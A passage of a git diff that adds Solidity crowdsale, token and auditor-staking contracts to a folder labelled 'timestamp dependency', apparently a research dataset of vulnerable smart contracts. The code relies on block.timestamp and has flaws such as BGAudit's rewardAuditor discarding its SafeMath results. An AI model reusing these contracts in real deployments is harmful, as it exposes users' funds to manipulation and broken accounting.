+ + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + + isUpdatable = _isUpdatable; + + isWhiteListed = _isWhiteListed; + } + + + function() payable { + throw; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency private { + + + if(getState() == State.PreFunding) { + + throw; + } else if(getState() == State.Funding) { + + + if(isWhiteListed) { + if(!earlyParticipantWhitelist[receiver].status) { + throw; + } + } + } else { + + throw; + } + + uint weiAmount = msg.value; + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); + + if(tokenAmount == 0) { + + throw; + } + + if(isWhiteListed) { + if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { + + throw; + } + + + if (isBreakingInvestorCap(receiver, tokenAmount)) { + throw; + } + + updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); + } else { + if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { + throw; + } + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + + if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { + throw; + } + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + } + + + function invest(address addr) public payable { + investInternal(addr, 0); + } + + + function buy() public payable { + invest(msg.sender); + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); + } + } + + function areReservedTokensDistributed() public constant returns (bool) { + return finalizeAgent.reservedTokensAreDistributed(); + } + + function canDistributeReservedTokens() public constant returns(bool) { + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; + return false; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { + assert(address(addr) != address(0)); + assert(address(finalizeAgent) == address(0)); + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(maxCap > 0); + assert(minCap <= maxCap); + assert(now <= endsAt); + + if (!isAddressWhitelisted(addr)) { + whitelistedParticipants.push(addr); + Whitelisted(addr, status, minCap, maxCap); + } else { + WhitelistItemChanged(addr, status, minCap, maxCap); + } + + earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); + } + + function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { + if (!isWhiteListed) throw; + assert(now <= endsAt); + assert(addrs.length == statuses.length); + assert(statuses.length == minCaps.length); + assert(minCaps.length == maxCaps.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); + } + } + + function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { + if (!isWhiteListed) throw; + if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); + } + } + + function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(now <= endsAt); + assert(isTierJoined(msg.sender)); + if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; + + uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; + newMaxCap = newMaxCap.minus(tokensBought); + earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); + } + + function isAddressWhitelisted(address addr) public constant returns(bool) { + for (uint i = 0; i < whitelistedParticipants.length; i++) { + if (whitelistedParticipants[i] == addr) { + return true; + break; + } + } + + return false; + } + + function whitelistedParticipantsLength() public constant returns (uint) { + return whitelistedParticipants.length; + } + + function isTierJoined(address addr) public constant returns(bool) { + return joinedCrowdsaleState[addr].isJoined; + } + + function getTierPosition(address addr) public constant returns(uint8) { + return joinedCrowdsaleState[addr].position; + } + + function getLastTier() public constant returns(address) { + if (joinedCrowdsalesLen > 0) + return joinedCrowdsales[joinedCrowdsalesLen - 1]; + else + return address(0); + } + + function setJoinedCrowdsales(address addr) private onlyOwner { + assert(addr != address(0)); + assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); + assert(!isTierJoined(addr)); + joinedCrowdsales.push(addr); + joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ + isJoined: true, + position: joinedCrowdsalesLen + }); + joinedCrowdsalesLen++; + } + + function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { + assert(addrs.length > 0); + assert(joinedCrowdsalesLen == 0); + assert(addrs.length <= joinedCrowdsalesLenMax); + for (uint8 iter = 0; iter < addrs.length; iter++) { + setJoinedCrowdsales(addrs[iter]); + } + } + + function setStartsAt(uint time) onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(time <= endsAt); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + uint8 tierPosition = getTierPosition(this); + + + for (uint8 j = 0; j < tierPosition; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time >= crowdsale.endsAt()); + } + + startsAt = time; + StartsAtChanged(startsAt); + } + + + function setEndsAt(uint time) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(startsAt <= time); + assert(now <= endsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time <= crowdsale.startsAt()); + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { + assert(address(_pricingStrategy) != address(0)); + assert(address(pricingStrategy) == address(0)); + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else return State.Failure; + } + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); + + function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) private; +} + + + + + + + + + + + + + + + +contract StandardToken is ERC20, SafeMath { + + + event Minted(address receiver, uint amount); + + + mapping(address => uint) balances; + + + mapping (address => mapping (address => uint)) allowed; + + + function isToken() public constant returns (bool weAre) { + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + balances[msg.sender] = safeSub(balances[msg.sender], _value); + balances[_to] = safeAdd(balances[_to], _value); + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + uint _allowance = allowed[_from][msg.sender]; + + balances[_to] = safeAdd(balances[_to], _value); + balances[_from] = safeSub(balances[_from], _value); + allowed[_from][msg.sender] = safeSub(_allowance, _value); + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) constant returns (uint balance) { + return balances[_owner]; + } + + function approve(address _spender, uint _value) returns (bool success) { + + + + + + if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint remaining) { + return allowed[_owner][_spender]; + } + +} + + + + + + + + + + + + +contract UpgradeAgent { + + uint public originalSupply; + + + function isUpgradeAgent() public constant returns (bool) { + return true; + } + + function upgradeFrom(address _from, uint256 _value) public; + +} + + + +contract UpgradeableToken is StandardToken { + + + address public upgradeMaster; + + + UpgradeAgent public upgradeAgent; + + + uint256 public totalUpgraded; + + + enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} + + + event Upgrade(address indexed _from, address indexed _to, uint256 _value); + + + event UpgradeAgentSet(address agent); + + + function UpgradeableToken(address _upgradeMaster) { + upgradeMaster = _upgradeMaster; + } + + + function upgrade(uint256 value) public { + + UpgradeState state = getUpgradeState(); + if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { + + throw; + } + + + if (value == 0) throw; + + balances[msg.sender] = safeSub(balances[msg.sender], value); + + + totalSupply = safeSub(totalSupply, value); + totalUpgraded = safeAdd(totalUpgraded, value); + + + upgradeAgent.upgradeFrom(msg.sender, value); + Upgrade(msg.sender, upgradeAgent, value); + } + + + function setUpgradeAgent(address agent) external { + + if(!canUpgrade()) { + + throw; + } + + if (agent == 0x0) throw; + + if (msg.sender != upgradeMaster) throw; + + if (getUpgradeState() == UpgradeState.Upgrading) throw; + + upgradeAgent = UpgradeAgent(agent); + + + if(!upgradeAgent.isUpgradeAgent()) throw; + + if (upgradeAgent.originalSupply() != totalSupply) throw; + + UpgradeAgentSet(upgradeAgent); + } + + + function getUpgradeState() public constant returns(UpgradeState) { + if(!canUpgrade()) return UpgradeState.NotAllowed; + else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; + else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; + else return UpgradeState.Upgrading; + } + + + function setUpgradeMaster(address master) public { + if (master == 0x0) throw; + if (msg.sender != upgradeMaster) throw; + upgradeMaster = master; + } + + + function canUpgrade() public constant returns(bool) { + return true; + } + +} + + + + + + + + + + +contract ReleasableToken is ERC20, Ownable { + + + address public releaseAgent; + + + bool public released = false; + + + mapping (address => bool) public transferAgents; + + + modifier canTransfer(address _sender) { + + if(!released) { + if(!transferAgents[_sender]) { + throw; + } + } + + _; + } + + + function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { + + + releaseAgent = addr; + } + + + function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { + transferAgents[addr] = state; + } + + + function releaseTokenTransfer() public onlyReleaseAgent { + released = true; + } + + + modifier inReleaseState(bool releaseState) { + if(releaseState != released) { + throw; + } + _; + } + + + modifier onlyReleaseAgent() { + if(msg.sender != releaseAgent) { + throw; + } + _; + } + + function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { + + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { + + return super.transferFrom(_from, _to, _value); + } + +} + + + + + + + + + + + +contract MintableTokenExt is StandardToken, Ownable { + + using SafeMathLibExt for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state ); + + + struct ReservedTokensData { + uint inTokens; + uint inPercentageUnit; + uint inPercentageDecimals; + bool isReserved; + bool isDistributed; + } + + mapping (address => ReservedTokensData) public reservedTokensList; + address[] public reservedTokensDestinations; + uint public reservedTokensDestinationsLen = 0; + bool reservedTokensDestinationsAreSet = false; + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } + + function finalizeReservedAddress(address addr) public onlyMintAgent canMint { + ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; + reservedTokensData.isDistributed = true; + } + + function isAddressReserved(address addr) public constant returns (bool isReserved) { + return reservedTokensList[addr].isReserved; + } + + function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { + return reservedTokensList[addr].isDistributed; + } + + function getReservedTokens(address addr) public constant returns (uint inTokens) { + return reservedTokensList[addr].inTokens; + } + + function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { + return reservedTokensList[addr].inPercentageUnit; + } + + function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { + return reservedTokensList[addr].inPercentageDecimals; + } + + function setReservedTokensListMultiple( + address[] addrs, + uint[] inTokens, + uint[] inPercentageUnit, + uint[] inPercentageDecimals + ) public canMint onlyOwner { + assert(!reservedTokensDestinationsAreSet); + assert(addrs.length == inTokens.length); + assert(inTokens.length == inPercentageUnit.length); + assert(inPercentageUnit.length == inPercentageDecimals.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + if (addrs[iterator] != address(0)) { + setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); + } + } + reservedTokensDestinationsAreSet = true; + } + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply = totalSupply.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { + assert(addr != address(0)); + if (!isAddressReserved(addr)) { + reservedTokensDestinations.push(addr); + reservedTokensDestinationsLen++; + } + + reservedTokensList[addr] = ReservedTokensData({ + inTokens: inTokens, + inPercentageUnit: inPercentageUnit, + inPercentageDecimals: inPercentageDecimals, + isReserved: true, + isDistributed: false + }); + } +} + + + +contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { + + + event UpdatedTokenInformation(string newName, string newSymbol); + + event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); + + string public name; + + string public symbol; + + uint public decimals; + + + uint public minCap; + + + function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) + UpgradeableToken(msg.sender) { + + + + + owner = msg.sender; + + name = _name; + symbol = _symbol; + + totalSupply = _initialSupply; + + decimals = _decimals; + + minCap = _globalMinCap; + + + balances[owner] = totalSupply; + + if(totalSupply > 0) { + Minted(owner, totalSupply); + } + + + if(!_mintable) { + mintingFinished = true; + if(totalSupply == 0) { + throw; + } + } + } + + + function releaseTokenTransfer() public onlyReleaseAgent { + mintingFinished = true; + super.releaseTokenTransfer(); + } + + + function canUpgrade() public constant returns(bool) { + return released && super.canUpgrade(); + } + + + function setTokenInformation(string _name, string _symbol) onlyOwner { + name = _name; + symbol = _symbol; + + UpdatedTokenInformation(name, symbol); + } + + + function claimTokens(address _token) public onlyOwner { + require(_token != address(0)); + + ERC20 token = ERC20(_token); + uint balance = token.balanceOf(this); + token.transfer(owner, balance); + + ClaimedTokens(_token, owner, balance); + } + +} + + + +contract ReservedTokensFinalizeAgent is FinalizeAgent { + using SafeMathLibExt for uint; + CrowdsaleTokenExt public token; + CrowdsaleExt public crowdsale; + + uint public distributedReservedTokensDestinationsLen = 0; + + function ReservedTokensFinalizeAgent(CrowdsaleTokenExt _token, CrowdsaleExt _crowdsale) public { + token = _token; + crowdsale = _crowdsale; + } + + + function isSane() public constant returns (bool) { + return (token.releaseAgent() == address(this)); + } + + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public { + assert(msg.sender == address(crowdsale)); + + assert(reservedTokensDistributionBatch > 0); + assert(!reservedTokensAreDistributed); + assert(distributedReservedTokensDestinationsLen < token.reservedTokensDestinationsLen()); + + + + uint tokensSold = 0; + for (uint8 i = 0; i < crowdsale.joinedCrowdsalesLen(); i++) { + CrowdsaleExt tier = CrowdsaleExt(crowdsale.joinedCrowdsales(i)); + tokensSold = tokensSold.plus(tier.tokensSold()); + } + + uint startLooping = distributedReservedTokensDestinationsLen; + uint batch = token.reservedTokensDestinationsLen().minus(distributedReservedTokensDestinationsLen); + if (batch >= reservedTokensDistributionBatch) { + batch = reservedTokensDistributionBatch; + } + uint endLooping = startLooping + batch; + + + for (uint j = startLooping; j < endLooping; j++) { + address reservedAddr = token.reservedTokensDestinations(j); + if (!token.areTokensDistributedForAddress(reservedAddr)) { + uint allocatedBonusInPercentage; + uint allocatedBonusInTokens = token.getReservedTokens(reservedAddr); + uint percentsOfTokensUnit = token.getReservedPercentageUnit(reservedAddr); + uint percentsOfTokensDecimals = token.getReservedPercentageDecimals(reservedAddr); + + if (percentsOfTokensUnit > 0) { + allocatedBonusInPercentage = tokensSold * percentsOfTokensUnit / 10**percentsOfTokensDecimals / 100; + token.mint(reservedAddr, allocatedBonusInPercentage); + } + + if (allocatedBonusInTokens > 0) { + token.mint(reservedAddr, allocatedBonusInTokens); + } + + token.finalizeReservedAddress(reservedAddr); + distributedReservedTokensDestinationsLen++; + } + } + + if (distributedReservedTokensDestinationsLen == token.reservedTokensDestinationsLen()) { + reservedTokensAreDistributed = true; + } + } + + + function finalizeCrowdsale() public { + assert(msg.sender == address(crowdsale)); + + if (token.reservedTokensDestinationsLen() > 0) { + assert(reservedTokensAreDistributed); + } + + token.releaseTokenTransfer(); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/2948.sol b/smart_contract_dataset/timestamp dependency/2948.sol new file mode 100644 index 0000000000000000000000000000000000000000..222479f0a72723b33dff7c1714b68b72089b3ec4 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/2948.sol @@ -0,0 +1,267 @@ +pragma solidity 0.4.24; + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract BGAudit is Ownable { + + using SafeMath for uint; + + event AddedAuditor(address indexed auditor); + event BannedAuditor(address indexed auditor); + event AllowedAuditor(address indexed auditor); + + event CreatedAudit(uint indexed id); + event ReviewingAudit(uint indexed id); + event AuditorRewarded(uint indexed id, address indexed auditor, uint indexed reward); + + event AuditorStaked(uint indexed id, address indexed auditor, uint indexed amount); + event WithdrawedStake(uint indexed id, address indexed auditor, uint indexed amount); + event SlashedStake(uint indexed id, address indexed auditor); + + enum AuditStatus { New, InProgress, InReview, Completed } + + struct Auditor { + bool banned; + address addr; + uint totalEarned; + uint completedAudits; + uint[] stakedAudits; + mapping(uint => bool) stakedInAudit; + mapping(uint => bool) canWithdrawStake; + } + + struct Audit { + AuditStatus status; + address owner; + uint id; + uint totalReward; + uint remainingReward; + uint stake; + uint endTime; + uint maxAuditors; + address[] participants; + } + + + uint public stakePeriod = 90 days; + uint public maxAuditDuration = 365 days; + Audit[] public audits; + mapping(address => Auditor) public auditors; + + + function transfer(address _to, uint _amountInWei) external onlyOwner { + require(address(this).balance > _amountInWei); + _to.transfer(_amountInWei); + } + + function setStakePeriod(uint _days) external onlyOwner { + stakePeriod = _days * 1 days; + } + + function setMaxAuditDuration(uint _days) external onlyOwner { + maxAuditDuration = _days * 1 days; + } + + + + function addAuditor(address _auditor) external onlyOwner { + require(auditors[_auditor].addr == address(0)); + + auditors[_auditor].banned = false; + auditors[_auditor].addr = _auditor; + auditors[_auditor].completedAudits = 0; + auditors[_auditor].totalEarned = 0; + emit AddedAuditor(_auditor); + } + + function banAuditor(address _auditor) external onlyOwner { + require(auditors[_auditor].addr != address(0)); + auditors[_auditor].banned = true; + emit BannedAuditor(_auditor); + } + + function allowAuditor(address _auditor) external onlyOwner { + require(auditors[_auditor].addr != address(0)); + auditors[_auditor].banned = false; + emit AllowedAuditor(_auditor); + } + + + + function createAudit(uint _stake, uint _endTimeInDays, uint _maxAuditors) external payable onlyOwner { + uint endTime = _endTimeInDays * 1 days; + require(endTime < maxAuditDuration); + require(block.timestamp + endTime * 1 days > block.timestamp); + require(msg.value > 0 && _maxAuditors > 0 && _stake > 0); + + Audit memory audit; + audit.status = AuditStatus.New; + audit.owner = msg.sender; + audit.id = audits.length; + audit.totalReward = msg.value; + audit.remainingReward = audit.totalReward; + audit.stake = _stake; + audit.endTime = block.timestamp + endTime; + audit.maxAuditors = _maxAuditors; + + audits.push(audit); + emit CreatedAudit(audit.id); + } + + function reviewAudit(uint _id) external onlyOwner { + require(audits[_id].status == AuditStatus.InProgress); + require(block.timestamp >= audits[_id].endTime); + audits[_id].endTime = block.timestamp; + audits[_id].status = AuditStatus.InReview; + emit ReviewingAudit(_id); + } + + function rewardAuditor(uint _id, address _auditor, uint _reward) external onlyOwner { + + audits[_id].remainingReward.sub(_reward); + audits[_id].status = AuditStatus.Completed; + + auditors[_auditor].totalEarned.add(_reward); + auditors[_auditor].completedAudits.add(1); + auditors[_auditor].canWithdrawStake[_id] = true; + _auditor.transfer(_reward); + emit AuditorRewarded(_id, _auditor, _reward); + } + + function slashStake(uint _id, address _auditor) external onlyOwner { + require(auditors[_auditor].addr != address(0)); + require(auditors[_auditor].stakedInAudit[_id]); + auditors[_auditor].canWithdrawStake[_id] = false; + emit SlashedStake(_id, _auditor); + } + + + function stake(uint _id) public payable { + + require(msg.value == audits[_id].stake); + require(block.timestamp < audits[_id].endTime); + require(audits[_id].participants.length < audits[_id].maxAuditors); + require(audits[_id].status == AuditStatus.New || audits[_id].status == AuditStatus.InProgress); + + + require(auditors[msg.sender].addr == msg.sender && !auditors[msg.sender].banned); + require(!auditors[msg.sender].stakedInAudit[_id]); + + + audits[_id].status = AuditStatus.InProgress; + audits[_id].participants.push(msg.sender); + + + auditors[msg.sender].stakedInAudit[_id] = true; + auditors[msg.sender].stakedAudits.push(_id); + emit AuditorStaked(_id, msg.sender, msg.value); + } + + function withdrawStake(uint _id) public { + require(audits[_id].status == AuditStatus.Completed); + require(auditors[msg.sender].canWithdrawStake[_id]); + require(block.timestamp >= audits[_id].endTime + stakePeriod); + + auditors[msg.sender].canWithdrawStake[_id] = false; + address(msg.sender).transfer(audits[_id].stake); + emit WithdrawedStake(_id, msg.sender, audits[_id].stake); + } + + + function auditorHasStaked(uint _id, address _auditor) public view returns(bool) { + return auditors[_auditor].stakedInAudit[_id]; + } + + function auditorCanWithdrawStake(uint _id, address _auditor) public view returns(bool) { + if(auditors[_auditor].stakedInAudit[_id] && auditors[_auditor].canWithdrawStake[_id]) { + return true; + } + return false; + } + + + function getStakedAudits(address _auditor) public view returns(uint[]) { + return auditors[_auditor].stakedAudits; + } + + + function getAuditors(uint _id) public view returns(address[]) { + return audits[_id].participants; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/295.sol b/smart_contract_dataset/timestamp dependency/295.sol new file mode 100644 index 0000000000000000000000000000000000000000..e16dcffcf132660ed407e2459bf3fecce43d0d7a --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/295.sol @@ -0,0 +1,809 @@ + +pragma solidity ^0.4.11; + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + + + + + + + + + +library SafeMathLibExt { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function divides(uint a, uint b) returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + + +contract PricingStrategy { + + address public tier; + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function updateRate(uint newOneTokenInWei) public; + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + + +contract FinalizeAgent { + + bool public reservedTokensAreDistributed = false; + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + function distributeReservedTokens(uint reservedTokensDistributionBatch); + + + function finalizeCrowdsale(); + +} + + + + + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20Ext is ERC20 { + + uint public decimals; + uint public minCap; + +} + + + + +contract CrowdsaleExt is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLibExt for uint; + + + FractionalERC20Ext public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + string public name; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public investorCount = 0; + + + bool public finalized; + + bool public isWhiteListed; + + address[] public joinedCrowdsales; + uint8 public joinedCrowdsalesLen = 0; + uint8 public joinedCrowdsalesLenMax = 50; + struct JoinedCrowdsaleStatus { + bool isJoined; + uint8 position; + } + mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + struct WhiteListData { + bool status; + uint minCap; + uint maxCap; + } + + + bool public isUpdatable; + + + mapping (address => WhiteListData) public earlyParticipantWhitelist; + + + address[] public whitelistedParticipants; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Whitelisted(address addr, bool status, uint minCap, uint maxCap); + event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); + + + event StartsAtChanged(uint newStartsAt); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { + + owner = msg.sender; + + name = _name; + + token = FractionalERC20Ext(_token); + + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + + isUpdatable = _isUpdatable; + + isWhiteListed = _isWhiteListed; + } + + + function() payable { + throw; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency private { + + + if(getState() == State.PreFunding) 